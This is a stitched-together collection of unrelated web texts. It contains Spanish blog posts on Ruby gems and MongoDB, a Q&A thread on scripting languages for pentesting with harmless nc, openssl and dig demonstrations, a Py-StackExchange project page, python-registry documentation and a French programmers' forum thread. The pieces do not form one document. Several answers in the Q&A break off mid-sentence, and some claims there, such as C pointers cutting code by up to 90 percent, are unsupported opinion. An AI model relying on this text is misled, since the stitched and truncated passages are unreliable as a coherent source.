Con esta gema elaborada por los chicos de Intridea, y habitualmente agregando tan sólo un nuevo controlador por cada servicio para crear la sesión, así como la carga de un middleware, podemos habilitar la posibilidad de que el usuario se autentifique usando su cuenta en ese servicio, así como obtener toda clase de información relativa al usuario que se ha logueado (nombre y apellidos, nick, email, etc; los datos proporcionados dependen del servicio utilizado).
Así que ya no hay excusa para añadir esta posibilidad a tu aplicación Rails. El código de la gema se puede encontrar en GitHub.
¿Necesitas añadir una jerarquía a tus modelos? Esta gema viene a tu rescate. Los resultados son similares a otros plugins como acts_as_tree, pero gracias a la gema de Stefan Kroes, el almacenamiento de la jerarquía es bastante eficiente, puesto que se guarda en cada instancia en forma de ruta de ids desde el objeto padre hasta la propia instancia (por ejemplo, “12/83” indica que el objeto actual tiene como padre al objeto con id 83, que a su vez tiene como padre al objeto con id 12), de modo que utilizando búsquedas de texto en este path se pueden obtener fácilmente elementos como los objetos raíz (aquellos cuyo path no contiene nada), los hijos de un objeto (aquellos que tienen en el path la subcadena con el id del padre seguida de una barra), etc.
La cantidad de métodos para moverse a través del árbol, así como comprobadores de condiciones (si el nodo tiene hijos, si es el único hijo, etc) es verdaderamente amplia. La forma en que los objetos que quedan huérfanos son tratados es personalizable. En general, una gema muy sencilla de usar, y que proporciona la funcionalidad de organización de las instancias de tu modelo en forma de árbol con una solución elegante y eficiente.
Su código en GitHub.
Por último, no quisiera dejarme a una gema de Scott Barron que nos permitirá construir una máquina de estados en nuestro modelo, de modo que podamos definir en ellos un conjunto de estados y de transiciones permisibles entre los mismos. Así, podemos separar nuestras instancias en dichos estados, y asegurarnos de que cuando cambien de un estado a otro, se ejecuten determinadas acciones definidas en nuestro modelo. También nos permite impedir que un modelo cambie de un estado a otro si no le está permitido. Es ideal para controlar cosas como el workflow de un objeto que representa un documento, tarea, etc.
Su código en GitHub.
En posteriores posts, os hablaré de algunas de mis gemas favoritas en otras tareas como el testeo unitario. Mientras tanto, os pregunto: ¿Cuáles son vuestras otras gemas favoritas?
]]>
Hace ya unos días os hablaba de NoSQL y su conveniencia para ciertos proyectos. Hoy os voy a hablar de las características de un sistema de base de datos NoSQL en concreto, el cual he tenido ocasión de probar a fondo en un par de proyectos, y que sin duda se ha convertido en uno de mis favoritos: MongoDB.
MongoDB es un sistema de base de datos multiplataforma orientado a documentos, de esquema libre. Como ya os expliqué, esto significa que cada entrada o registro puede tener un esquema de datos diferente, con atributos o “columnas” que no tienen por qué repetirse de un registro a otro. Está escrito en C++, lo que le confiere cierta cercanía al bare metal, o recursos de hardware de la máquina, de modo que es bastante rápido a la hora de ejecutar sus tareas. Además, está licenciado como GNU AGPL 3.0, de modo que se trata de un software de licencia libre. Funciona en sistemas operativos Windows, Linux, OS X y Solaris.
Las características que más destacaría de MongoDB son su velocidad y su rico pero sencillo sistema de consulta de los contenidos de la base de datos. Se podría decir que alcanza un balance perfecto entre rendimiento y funcionalidad, incorporando muchos de los tipos de consulta que utilizaríamos en nuestro sistema relacional preferido, pero sin sacrificar en rendimiento.
En MongoDB, cada registro o conjunto de datos se denomina documento. Los documentos se pueden agrupar en colecciones, las cuales se podría decir que son el equivalente a las tablas en una base de datos relacional (sólo que las colecciones pueden almacenar documentos con muy diferentes formatos, en lugar de estar sometidos a un esquema fijo). Se pueden crear índices para algunos atributos de los documentos, de modo que MongoDB mantendrá una estructura interna eficiente para el acceso a la información por los contenidos de estos atributos.
Los distintos documentos se almacenan en formato BSON, o Binary JSON, que es una versión modificada de JSON que permite búsquedas rápidas de datos. Para hacernos una idea, BSON guarda de forma explícita las longitudes de los campos, los índices de los arrays, y demás información útil para el escaneo de datos. Es por esto que, en algunos casos, el mismo documento en BSON ocupa un poco más de espacio de lo que ocuparía de estar almacenado directamente en formato JSON. Pero una de las ideas claves en los sistemas NoSQL es que el almacenamiento es barato, y es mejor aprovecharlo si así se introduce un considerable incremento en la velocidad de localización de información dentro de un documento.
Sin embargo, en la práctica, nunca veremos el formato en que verdaderamente se almacenan los datos, y trabajaremos siempre sobre un documento en JSON tanto al almacenar como al consultar información. Un ejemplo de un documento en MongoDB podría ser perfectamente éste:
{ “_id” : “4da2c0e2e999fb56bf000002” “title” : “Una introducción a MongoDB”, “body” : “Lorem ipsum dolor sit amet…”, “published_at” : “2011-05-09T18:17:07-07:00”, “author_info” : { “_id” : “4dc8919331c0c00001000002” “name” : “Carlos Paramio” }, “tags” : [“MongoDB”, “NoSQL”, “Bases de datos”] “comments” : [ { “author_info” : { “name” : “Jorge Rubira”, “email” : “email1@example.com” }, “body” : “Test”, “created_at” : “2011-05-10T10:14:01-07:00” }, { “author_info” : { “name” : “Txema Rodríguez”, “email” : “email2@example.com” }, “body” : “Otro test”, “created_at” : “2011-05-10T10:14:09-07:00” } ] “liked_by” : [“4d7cf768e999fb67c0000001”, “4da34c62ba875a19d4000001”] }
Como podemos adivinar, este documento pretende representar la manera en que podrían almacenarse los datos correspondientes a un post de un blog. Los atributos “_id” (o clave principal) pueden tener el formato que se desee, aunque MongoDB utiliza un valor parecido a un UUID en hexadecimal por defecto si no se ha especificado ninguno. A pesar de parecer un valor completamente aleatorio (aunque ya sabemos que la aleatoriedad real no existe en informática), utilizan como base una semilla basada en la MAC de la interfaz de red de la máquina (y otros detalles de la misma) para evitar que dos máquinas diferentes puedan generar el mismo valor para la clave de un documento. Y los primeros bytes corresponden a una marca de tiempo, de modo que las claves se ordenan de forma natural por orden de creación (o casi, pues está claro que las distintas máquinas corriendo MongoDB deben tener la fecha y hora sincronizadas) sin tener que mirar cuál fue el último valor usado. Una solución inteligente, a mi modo de ver bastante más eficiente que un campo autonumérico, en especial para evitar que una máquina bloquee la inserción de registros en una colección sólo para asegurarse que no se dan condiciones de carrera al intentar dos máquinas diferentes escribir un documento con el mismo valor para “_id”. Por cierto, este atributo “_id” es el único obligatorio para un documento.
Las etiquetas y los comentarios están en el propio documento que representa al post, en lugar de guardarlos en colecciones separadas y utilizar claves foráneas para referenciar a los mismos. Sin embargo, en el atributo “liked_by” sí que guardamos una relación de claves, que corresponden a los usuarios que han marcado el post como que les ha gustado. Utilizar una forma u otra dependerá de las necesidades de acceso a estos datos En este caso, por ejemplo, sabemos que no vamos a pintar información sobre los usuarios que han marcado un post con un “me gusta”, pero sí queremos ver cuántos lo han marcado así, o si el usuario actual ya lo ha marcado o no, con lo que almacenar únicamente las claves de esos usuarios y guardar su información personal detallada en otra colección es lo más conveniente.
Por supuesto, no es necesario pedir a MongoDB que nos devuelva todo el documento cada vez que lo consultamos. Si por ejemplo vamos a pintar únicamente un listado de posts recientes, seguramente sea suficiente obtener el atributo “title”, con los documentos ordenados por “published_at”. Así, ahorramos ancho de banda entre el motor de base de datos y la aplicación, al mismo tiempo que memoria dado que no hay que instanciar todo el documento. Además, si tenemos muchos miles de visitantes, el atributo “liked_by” podría llegar a crecer bastante. Aunque el tamaño de un documento de MongoDB puede llegar hasta los 16 Megabytes, con lo que podemos almacenar bastante información dentro de un único documento sin necesidad de utilizar referencias, si así lo necesitamos. En caso de que tuviéramos que almacenar mucho más, habría que optar por utilizar otro esquema.
A veces, toca desnormalizar para poder tener a mano la información necesaria a la hora de pintar un post. Es por eso que en el atributo “author_info” he utilizado una versión intermedia: Si bien tenemos la clave principal del usuario que ha escrito este post, como es habitual que pintemos el nombre del autor, he almacenado también dicho nombre en el documento que representa al post, para que no sea necesario realizar una segunda consulta a la colección “usuarios”. Estas desnormalizaciones dependen nuevamente del uso que se den a los datos. En este caso, tengo claro que el nombre de un usuario no va a cambiar demasiado, así que recorrer todos los posts para cambiar este valor en caso de que el usuario realice esta operación, si bien es una modificación que podría llevar un tiempo considerable para ejecutarse, no es una operación habitual frente a la consulta del nombre del autor, y por tanto compensa. Incluso podríamos llegar a tratar el post como algo más permanente, de modo que aunque un usuario cambiara su nombre a posteriori, el nombre utilizado para firmar los posts anteriores no varíe, o sencillamente los posts puedan firmarse con diferentes pseudónimos.
Como creo que habrá quedado patente a estas alturas, el modelado del esquema de datos con MongoDB depende más de la forma en que consultaremos o actualizaremos los datos que de las limitaciones del propio sistema.
Sin entrar demasiado en detalles acerca de todas las posibilidades que MongoDB nos ofrece para consultar los datos almacenados, sí quisiera nombrar algunas de ellas, para hacer notar que no estamos frente a un sistema simple de almacenamiento de pares clave-valor.
En primer lugar, MongoDB nos permite utilizar funciones Map y Reduce escritas en Javascript para seleccionar los atributos que nos interesan de los datos, y agregarlos (unificarlos, simplificarlos) en la manera deseada, respectivamente. Esto es algo habitual en muchos sistemas NoSQL, y en algunos casos es incluso la única forma posible de consultar datos. Claro está que muchas veces necesitamos algo bastante más sencillo que ésto.
En MongoDB se pueden utilizar consultas al valor de un atributo específico. Por ejemplo, podemos capturar el post que tiene un determinado título:
db.posts.find({‘title’ : ‘Una introducción a MongoDB’})
El valor a consultar puede estar anidado en un tipo de datos más completo en el atributo del documento (por ejemplo, como valor de un hash asociado al atributo, o como el valor de uno de los ítems de un array). Se utiliza un punto como separador de los nombres de las claves de los diferentes hashes que hay que recorrer hasta llegar al valor deseado. Por ejemplo, la siguiente consulta devolvería todos los posts escritos por un determinado autor:
db.posts.find({‘author_info._id’ : ‘4da2c0e2e999fb56bf000002’})
Y esta otra los posts etiquetados con MongoDB:
db.posts.find({‘tags’ : ‘MongoDB’})
El hash utilizado como conjunto de condiciones que deben cumplir los documentos a devolver puede incluir operadores de muy diversos tipos, no sólo comparadores del valor absoluto buscado. Algunos de ellos son:
Y muchos, muchos más. Los resultados se pueden agrupar, ordenar, contar, paginar, y otras tantas operaciones comunes sin necesidad de recurrir al farragoso Map / Reduce. Y siempre que los atributos consultados tengan definidos un índice, la velocidad de las consultas es espectacular.
Bueno, por ahora creo que es suficiente como para que sirva de introducción a este fabuloso motor de base de datos. En futuros artículos procuraré hablaros de sus otras características a la hora de escalarlo para su uso en múltiples máquinas, así como otros mecanismos interesantes de MongoDB como los índices geoespaciales. Si queréis experimentar con él, y trabajáis habitualmente con Ruby, tal vez os interese echar un vistazo a un Object Document Mapper para este lenguaje que escribí para un proyecto, y que facilita la interacción con el motor desde tus modelos: MongoODM.
Más información | MongoDB, BSON, MongoODM
]]>
|
My question is: What is it that makes those languages suitable? From what I know, they are slower than other languages, and operate at a higher abstraction level, which means they are too far from the hardware. The only reason I could think is because of their advanced string manipulation capabilities, but I believe that other languages have such capabilities.
My question is:
Languages are useful for
Let's look at the ones you've mentioned:
So what makes these particularly good for pentesting? Well, most pentesting involves writing up quick throw-away tools to do a specific job for a specific test. Writing such a tool in C or C++ every time you want to do a quick job is cumbersome and time-consuming. Furthermore, they tend to produce platform-specific binaries or source that requires platform-specific compilation, rather than cross-platform scripts that
For example, Ruby and Python are popular for more complex tasks because they have comprehensive libraries, whereas Perl is popular for quick data processing hacks. JavaScript is commonly utilised as a simple browser-based language that everyone has access to. Other languages such as C tend to be used for more low-level tasks that interface with the OS.
Now, the other side of the coin is languages used as payloads. This is where the line gets blurred, because requirements are so varied. For attacking Windows boxes, any payload that has no dependencies outside of what the OS provides is useful. This might be C, C++, VBScript, x86 asm, C# / VB.NET (.NET 2.0 is on most machines these days), etc. For attacking Linux boxes you might use C, C++, bash scripts or Perl. Java is also common for cross-platform attacks.
At the end of the day, pick the language that
Here is a great answer I found on a stack overflow question of similar context by @tqbf: (I copied this answer here, because I believe it gives valid reasons for which they may be prefered, so it might be useful to future readers)
Libraries, Time to write Code, cross-platform compatibility are key here. I found that using Python I was able to come up with Proof-of-concept exploits in a very short amount of time with minimum lines of code. This is possible because of the extensive standard library and additional libraries that you can download as well. I believe that is python's greatest strength to be used for pentesting and hacking.
Ex. you need a string of 1000 characters / 1000 bytes long.
In python:
print "A"*1000
In C :
for(i=0;i<1000;i++)printf("A");`
(Apart from all the includes mumbo jumbo and compiling it)
That is just a simple example. But as you can see the time taken for such a trivial task is far simpler in python.
The difference can be even more enhanced when you want to send http requests etc from your code. With
I have zero knowledge in these fields, but the mentioned programming languages all enable rapid programming, i.e. one could try out a much larger number of different ideas in a given time frame than with the more runtime-efficient but inefficient for programming (and debugging) programming languages like C etc. That might be a point.
I think what defines a language suited for hacking, is:
Take an example of Java. It runs on all platforms, and is installed on a lot of system. This ensures a fairly high probability that the hackers code can run, and the language is installed on the system he targets.
The community of given highly used programming language, also occasionally finds vulnerabilities in the language, which allowed hackers to target that vulnerability, and have a very high change of hitting it, due to the high distribution of the language.
Some good answers already to this one but I'll provide another perspective. One reason that scripting languages tend to be used for hacking is that they optimize for speed (and ease) of development which is likely to be a key factor.
As an example, for penetration testing scripting I use ruby. It has a number of good libraries for things like HTTP which mean I don't have to worry about low level details and writing a quick script is very fast as there's little "formality" required in a ruby script (e.g. method/variable declarations) when compared with languages like Java.
One of the downsides of these languages can be that they are slower at run-time, but for a lot of hacking work that's not an issue, speed of development is more important.
My two cents:
The quickness of the language doesn't matter when you are in full
One of the most usefull and powerfull language for this kind of operation seem to be forgotten in your question.
Under Un*x, you're primarily logged in a shell console, to be able to run other tools.
If it is one of the slower
$ time for ((i=1000000;i--;));do :;done
real 0m4.755s
user 0m4.628s
sys 0m0.124s
time perl -e 'map{1}(0..1000000)'
real 0m0.199s
user 0m0.112s
sys 0m0.060s
$ time python -c 'for a in range(1000000): 1==1
real 0m0.119s
user 0m0.096s
sys 0m0.020s
Yes! More than 4 seconds for a 1 million step loop is very slow, but once you're logged in a command line console...
Practical sample
you could start from:
$ mkdir /tmp/hackingGoogle
$ cd $_
than
$ nc google.com 80 <<<$'HEAD /fonts/ HTTP/1.0\r\n\r'
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
...
From there, you may use all tool you want, like
$ openssl s_client -connect google.com:443 -ign_eof \
<<< $'HEAD / HTTP/1.0\r\n\r' 2>&1 | \
openssl x509 -in /dev/stdin -out certfile
$ openssl x509 -in certfile -noout -fingerprint
SHA1 Fingerprint=67:1B:98:92:48:86:FF:E1:C5:02:44:C5:9F:F3:96:78:08:F5:0A:45
$ openssl x509 -in certfile -noout -subject
subject= /C=US/ST=California/L=Mountain View/O=Google Inc/CN=*.google.com
If you're interested about SSL, or...
$ wget https://www.google.com/fonts/
$ vi index.html
$ wget https://www.google.com/fonts/webfonts.nocache.js
$ smjs < <(sed < webfonts.nocache.js 's/Window....')
...
for playing with
You may benefit of a full environment for storing variables
$ ip=();ANS=false;while read -a line;do if [[ "$line" = ";;" ]];then [[
"${line[1]}" = "ANSWER" ]] && ANS=true || ANS=false; fi ; $ANS && [[
"${line[2]}" == "IN" ]] && ip+=(${line[4]});done < <(dig www.google.com)
$ printf "%s\n" ${ip[@]}
173.194.116.51
173.194.116.52
173.194.116.48
173.194.116.49
173.194.116.50
Depending on what you're searching for, you could use widely all your tool in all combination.
$ grep ^64 < <(for host in ${ip[@]};do ping -c2 $host&done;wait)|sort -t. -nk4
64 bytes from 173.194.113.112: icmp_req=1 ttl=54 time=45.4 ms
64 bytes from 173.194.113.112: icmp_req=2 ttl=54 time=47.8 ms
64 bytes from 173.194.113.113: icmp_req=1 ttl=54 time=41.4 ms
64 bytes from 173.194.113.113: icmp_req=2 ttl=54 time=40.2 ms
64 bytes from 173.194.113.114: icmp_req=1 ttl=54 time=43.1 ms
64 bytes from 173.194.113.114: icmp_req=2 ttl=54 time=39.0 ms
64 bytes from 173.194.113.115: icmp_req=1 ttl=54 time=47.0 ms
64 bytes from 173.194.113.115: icmp_req=2 ttl=54 time=42.1 ms
64 bytes from 173.194.113.116: icmp_req=1 ttl=54 time=43.9 ms
64 bytes from 173.194.113.116: icmp_req=2 ttl=54 time=39.0 ms
This could by
Mini script from there:
With this, you will make two ping,
ip=()
ANS=false
while read -a line;do
if [[ "$line" = ";;" ]] ;then
[[ "${line[1]}" = "ANSWER" ]] && ANS=true || ANS=false
fi
$ANS && [[ "${line[2]}" == "IN" ]] &&
ip+=(${line[4]})
done < <(dig www.google.com)
grep ^64 < <(
for host in ${ip[@]};do
ping -c2 $host &
done
wait
) |
sort -t. -nk4
Other (more efficient) languages
Once the goal is fixed, after a lot of
The choice of the language used will depend mainly on the hacker's preferences. (If not required by his boss.)
#include <stdio.h>
int main()
{
int i, list[1000];
for (i=0;i<1000;i++)
{
list[i] = 'A';
}
return 0;
}
I don't see any mumbo jumbo here. In fact this is not that much longer than a full python program to do the same. Some loops are shorter in C than they could ever be with python, especially when in C you can use pointers which considerably give much more power and shorten the code to between 10 and 70 percent of the python equivalent. Of course normally C code is longer cause thats just the nature of more powerful languages.
Anyway hacking is done in C the best. forget anything else just go C.
|
UPDATE: 2.x support is now mainline! Please read the wiki page for important information about the update.
A warm welcome to you, traveller. You have arrived at the home of Py-StackExchange, the library definitively proven† to be the best library for using the SE API from Python. If you are still interested (and by golly, you should be) after glancing at the masterpiece below, please check the wiki on Github.
† Ahem.
About
So, what is Py-StackExchange? Well, I'm glad you asked.
It is a Python library for querying the StackExchange API from your Python applications. Integration, ahoy!
So why should you use it? After all, the SE API is sooo simple that you might think it'd be quicker to just write your own, and that it'd be faster and you wouldn't have to look at all that documentation and do all that thinking... well:
Let's start with the API coverage - what can the API do? And, more importantly, what can the library do?
Access any StackExchangesite, with just its URL! Even those that aren't online yet!
If you just can't decide which one to use, you can use StackAuthto look up the full list of sites.
Once you're online, you can view everything about users,questions,answers,badges,commentsandtags.
You can even go back in time by playing with post revisions.
StalkGenerate a detailed profile of a user's lifeHelp users by looking upevery StackExchange account they have. Every single one.
And, on any of those sites, peruse a detailed history of everything they've ever done - every edit, every comment, every time they were awarded a badge... Watch StackOverflow become the new Facebook overnight with the timelinefeature.
See how well an SE site is doing; obsessively check its site statistics.
Searchthe questions of StackExchange sites.
So, why not write your own classes to consume said pure, concentrated brilliance?
Let someone else deal with all that laborious HTTP request business... you know you want to...
All the little idiosyncratic potholes on your road to API happiness have been filled in for you. We have little elves which jump into your code and parse your JSON and your dates and your lists until every response is itself a little baby python.
URLs change 99.9% more often than the interface of this module. Fact.
It's faster than Michael Palin on a broken bicycle. It also knows about request throttling, so when it gets too fast for its own good, it applies the brakes just enough to restore order.
It loads lazily information that would take another request to fetch, meaning you never use more of your limit than you need to.
It caches requests automatically, so you need to care slightly less about writing efficient code! (new in 1.1)
Now, onto the religious advantages:
Documentation? Bah, we have naming conventions. (This feature was inspired by Rails.)
Pssst- don't tell anyone, but there is documentation too, if that's your style. (README/Wiki)
Naming conventions? Who needs them? Wehave an interactive program that writes your code for you while you look around the StackExchange site of your choice. (This feature was inspired by Jon Skeet.)
Almost-sentient, artificially intelligent programming programs? Ugh, how 20thcentury. There are metric heaps of example code available in the source repo, a small excerpt of which is presented below for your viewing pleasure.
Please note: This is not an official product of Stack Overflow Internet Services, Inc.
Code Snippet
#!/usr/bin/env python
# a hack so you can run it 'python demo/stats.py'
import sys
from stackauth import StackAuth
from stackexchange import Site, StackOverflow
user_id = 41981 if len(sys.argv) < 2 else int(sys.argv[1])
print 'StackOverflow user %d\'s accounts:' % user_id
stack_auth = StackAuth()
so = Site(StackOverflow)
accounts = stack_auth.associated(so, user_id)
reputation = {}
for account in accounts:
print ' %s: %s / %d reputation' % (account.display_name, account.on_site.name, account.reputation)
reputation[account.reputation] = account.on_site.name
print 'Most reputation on: %s' % reputation[max(reputation)]
Or how about a scrolling list of questions?
import stackexchange
so = stackexchange.StackOverflow()
for q in so.questions(pagesize=50):
print q.title
About
This is a Python library/wrapper around the StackExchange and StackAuth APIs. It provides a clean, object-oriented API for accessing the various sites.
License
The script is licensed under the Simplified BSD license. You can find the full text of the license here, but the gist of it is that:
You need to give attribution when you distribute (compiled or in source form) the library - not your application unlessyou include the library files `in the box'.
The standard "NO WARRANTY" (in caps!) is provided.
Other than that you can more or less do what you like!
Download
In the bad old days (i.e. about 2 hours before I wrote this), you had to manually install Py-StackExchange after cloning the Git repository.
You can still do this: http://github.com/lucjon/Py-StackExchange. You can also download a ZIP or TGZ file from there.
However, there is a new and improved way to get Py-StackExchange: you can install it straight from the PyPI! Just type:
~$ easy_install py-stackexchange
Also, distutils gives me fantastical benefits on the side, such as a completely original Windows installer with an all-new design. You can also find a stable source distribution on the downloads page @ Github.
Platform
The library is written in standard Python 2.6, with, as far as I am aware, no specific platform dependency. As long as your Python install has the full standard library available, it should work fine.
Python 2.6 is required for the json module. (EDIT: @ADB in the comments has noted that the SimpleJson library can be used instead. This means it works on Python 2.5 and also on the Google App Engine.)
Python 3.x is also supported.
|
python-registry was originally written by Willi Ballenthin, a forensic analyst who wantedto access the contents of the Windows Registry from his Linux laptop.python-registry currently provides read-only access to Windows Registryfiles, such as NTUSER.DAT, userdiff, and SOFTWARE. The interface istwo-fold: a high-level interface suitable for most tasks, and a lowlevel set of parsing objects and methods which may be used for advancedstudy of the Windows Registry. python-registry is written in purePython, making it portable across all major platforms.
python-registry can be downloaded at GitHub here.
Most users will find the Registry.Registry module most appropriate.The module exposes three classes: the Registry, the RegistryKey, andthe RegistryValue. The Registry organizes parsing and access to theWindows Registry file. The RegistryKey is a convenient interface intothe tree-like structure of the Windows Registry. A RegistryKey mayhave children RegistryKeys, and may also have values associated withit. A RegistryValue can be thought of as the tuple (name, datatype,value) associated with a RegistryKey. python-registry supports allmajor datatypes, such as RegSZ, RegDWord, and RegBin.
Open a Windows Registry file
Its this easy:
1 2 3 4
import sys
from Registry import Registry
reg = Registry.Registry(sys.argv[1])
Print all keys in a Registry
1 2 3 4 5 6 7
def rec(key, depth=0):
print "\t" * depth + key.path()
for subkey in key.subkeys():
rec(subkey, depth + 1)
rec(reg.root())
Find a key and print all string values
1 2 3 4 5 6 7 8 9 10
try:
key = reg.open("SOFTWARE\\Microsoft\\Windows\\Current Version\\Run")
except Registry.RegistryKeyNotFoundException:
print "Couldn't find Run key. Exiting..."
sys.exit(-1)
for value in [v for v key.values() \
if v.value_type() == Registry.RegSZ or \
v.value_type() == Registry.RegExpandSZ]:
print "%s: %s" % (value.name(), value.value())
Advanced users who wish to study the structure of the Windows Registrymay find the Registry.RegistryParse module useful. This moduleimplements all known structures of the Windows Registry.
Static API documentation for python-registry can be found here: Documentation.
python-registry was developed using Python 2.6.5 on Ubuntu Linux. Moreimportantly, the package was tested against a small set of Windows XPSP3 Registry files acquired from one of the author’s virtual machines.The script testing/RegTester.py will parse the .reg files exported byMicrosoft Regedit and compare the values parsed by python-registry. Thistool can be used to identify regressions and deficiencies in thedevelopment of python-registry.
Nearly all structure definitions used in python-registry came from one of two sources:
Copies of these resources are included in the documentation/ directoryof the python-registry source.
The source directory for python-registry contains a samples/ subdirectorythat contains small programs that use python-registry. For example,regview.py is a read-only clone of Microsoft Window’s Regedit,implemented in a few hundred lines.
python-registry is released under the Apache v2.0 license.
|
Pylades
Re : /* Topic des codeurs couche-tard [1] */
It works! \o/
Bon, alors, vous en pensez quoi ? On met le planeur ? Avant le titre ? Après ?
“Any if-statement is a goto. As are all structured loops.
“And sometimes structure is good. When it’s good, you should use it.
“And sometimes structure is _bad_, and gets into the way, and using a goto is just much clearer.”
Linus Torvalds – 12 janvier 2003
Hors ligne
helly
Re : /* Topic des codeurs couche-tard [1] */
Après
Hors ligne
samυncle
Re : /* Topic des codeurs couche-tard [1] */
avant (faut de la contestation)
Hello world
Hors ligne
Pylades
Re : /* Topic des codeurs couche-tard [1] */
Il reste l’avis de cinq habitués ici à prendre en compte (grim7reaper, gnuuat, tshirtman, nesthib, le n@nyl@nd). Donc quand on aura eu tous les avis il ne pourra pas y avoir d’égalité.
“Any if-statement is a goto. As are all structured loops.
“And sometimes structure is good. When it’s good, you should use it.
“And sometimes structure is _bad_, and gets into the way, and using a goto is just much clearer.”
Linus Torvalds – 12 janvier 2003
Hors ligne
helly
Re : /* Topic des codeurs couche-tard [1] */
Sauf si deux font avant
Deux après
Et un ne se prononce pas
Hors ligne
nesthib
Re : /* Topic des codeurs couche-tard [1] */
moi j'aime bien les ..:: ::..
sinon z'avez testé mon détecteur de double-connectés ?
à ce sujet j'avais un problème existentiel : quelle est la meilleure méthode pour ne garder QUE les doublons dans une liste ?
Hors ligne
Pylades
Re : /* Topic des codeurs couche-tard [1] */
Ou si un demande carrément autre chose.
D’ailleurs, moi je pense que ça surchargerait le titre du fil, je ne suis pas pour. Les crochets suffisent, je pense, à distinguer les codeurs des plopeurs.
Édit :
à ce sujet j'avais un problème existentiel : quelle est la meilleure méthode pour ne garder QUE les doublons dans une liste ?
sort | uniq -d
?
Dernière modification par Pylade (Le 13/06/2010, à 11:35)
“Any if-statement is a goto. As are all structured loops.
“And sometimes structure is good. When it’s good, you should use it.
“And sometimes structure is _bad_, and gets into the way, and using a goto is just much clearer.”
Linus Torvalds – 12 janvier 2003
Hors ligne
xapantu
Re : /* Topic des codeurs couche-tard [1] */
liste des affreux planteurs du forum :Yannick@AMD64MikeSierra01
Hors ligne
helly
Re : /* Topic des codeurs couche-tard [1] */
File "./doubleurs.py", line 15
for user in unique:
^
IndentationError: expected an indented block
Hors ligne
nesthib
Re : /* Topic des codeurs couche-tard [1] */
nesthib a écrit :
à ce sujet j'avais un problème existentiel : quelle est la meilleure méthode pour ne garder QUE les doublons dans une liste ?
sort | uniq -d
?
euh…
1- je fais pas ça en bash mais en python
2- je voulais plutôt dire d'un côté algo
File "./doubleurs.py", line 15
for user in unique:
^
IndentationError: expected an indented block
t'as raté ton copier-coller
Hors ligne
nesthib
Re : /* Topic des codeurs couche-tard [1] */
je veux pas les éliminer mais les garder sinon c'est ce que j'ai fait, j'ai utilisé set comme base pour déterminer les doublons
edit : merci pour le lien, c'est quand même plus pratique ^^
Dernière modification par nesthib (Le 13/06/2010, à 12:01)
Hors ligne
Kanor
Re : /* Topic des codeurs couche-tard [1] */
Ah oui je viens de voir pour l'histoire du set ..
edit
je te propose ça
>>> from operator import groupby
>>> gg = [1,32,3,4,5,2,53,32,43,1]
>>> gg.sort()
>>> [ a for a, b in groupby(gg) if len(list(b)) > 1]
[1, 32]
Dernière modification par Kanor (Le 13/06/2010, à 12:08)
Hors ligne
Pylades
Re : /* Topic des codeurs couche-tard [1] */
euh…
1- je fais pas ça en bash mais en python
2- je voulais plutôt dire d'un côté algo
sort et uniq sont des commandes existant sous forme de binaires exécutables (dans /usr/bin/)…
“Any if-statement is a goto. As are all structured loops.
“And sometimes structure is good. When it’s good, you should use it.
“And sometimes structure is _bad_, and gets into the way, and using a goto is just much clearer.”
Linus Torvalds – 12 janvier 2003
Hors ligne
nesthib
Re : /* Topic des codeurs couche-tard [1] */
oui abus de langage Pylade mais tu as compris ce qui m'intéresse c'est l'algo (et non je ne vais pas aller voir les sources de uniq )
Hors ligne
Pylades
Re : /* Topic des codeurs couche-tard [1] */
« Pourquoi faire simple lorsque l’on peut faire compliqué ? »
…
“Any if-statement is a goto. As are all structured loops.
“And sometimes structure is good. When it’s good, you should use it.
“And sometimes structure is _bad_, and gets into the way, and using a goto is just much clearer.”
Linus Torvalds – 12 janvier 2003
Hors ligne
Pylades
Re : /* Topic des codeurs couche-tard [1] */
Ben tu as déjà une commande qui fait ça, et tu veux carrément recoder, mais un truc qui ne fait qu’une partie de ce que faisait la commande. Ça fait un peu Shadok.
“Any if-statement is a goto. As are all structured loops.
“And sometimes structure is good. When it’s good, you should use it.
“And sometimes structure is _bad_, and gets into the way, and using a goto is just much clearer.”
Linus Torvalds – 12 janvier 2003
Hors ligne
nesthib
Re : /* Topic des codeurs couche-tard [1] */
euh nan… je cherche juste à m'instruire sur le meilleur algo / la meilleure méthode.
après en pratique j'ai utilisé les outils déjà dispo
Hors ligne
grim7reaper
Re : /* Topic des codeurs couche-tard [1] */
Hello World !
It works!\o/
Ta lib est terminée ?
Bon, alors, vous en pensez quoi ? On met le planeur ? Avant le titre ? Après ?
Les deux mon général, je suis pour la symétrie \o/.
Bon la symétrie ne sera pas parfaite car je ne crois pas qu'on puisse faire le planeur dans les deux sens, mais je m'en contenterai .
à ce sujet j'avais un problème existentiel : quelle est la meilleure méthode pour ne garder QUE les doublons dans une liste ?
Là tout de suite à la levée du canapé, je dirais qu'un parcours séquentiel avec comparaison du nom courant avec le suivant à chaque itération ça pourrait le faire. Ça fonctionne vu que ta liste est triée (par ordre alphabétique), si tu as le courant égal au suivant c'est un doublon donc tu le gardes (tu le mets dans une autre liste par exemple, ou tu le laisses si tu préfères supprimer les non-doublon) et tu avance de 2 cases, sinon tu fais ce que tu as à faire (suppression du non-doublon, ou les laisser dans la liste) et tu passes au mot suivant.
Si ce n'est pas trié c'est plus complexe.
Dernière modification par grim7reaper (Le 13/06/2010, à 19:21)
Hors ligne
helly
Re : /* Topic des codeurs couche-tard [1] */
Bon, ce soir /me se met à l'épurage/correction d'un vieux programme de chat que j'avais fait il y avait 2ans, à l'époque où je savais pas faire la différence entre du C et du C++
Hors ligne
grim7reaper
Re : /* Topic des codeurs couche-tard [1] */
Bah moi ce soir je glande \o/, je l'ai bien mérité.
.
.
.
Ha wait !
On me dis à l'oreillette qu'il faut que je potasse mon traitement du signal et que je termine un TP à rendre.
Bon bah on verra la glandouille une autre fois alors .
Hors ligne
helly
Re : /* Topic des codeurs couche-tard [1] */
Mais quand est ce que tu es en vacances toi ?
T'as pris l'option «sans grandes vacances» ?
(si t'as payé pour avoir cette option, tu t'es fait avoir )
Hors ligne
helly
Re : /* Topic des codeurs couche-tard [1] */
Hey les gens, y'a moyen de mettre une variable en const dans une classe ? genre
class plop
{
private : const int p;
}
Le problème c'est que quand je déclare comme ça, il en veut pas
Alors que j'en aurai besoin pour une variable que je n'affecte qu'une seule fois pour cette classe, et ensuite j'ai plus besoin de la faire varier…
(une constante quoi )
Hors ligne
grim7reaper
Re : /* Topic des codeurs couche-tard [1] */
Mais quand est ce que tu es en vacances toi ?
Dans 2 semaines.
Là j'ai une semaine de révision puis une semaine d'exam.
T'as pris l'option «sans grandes vacances» ?
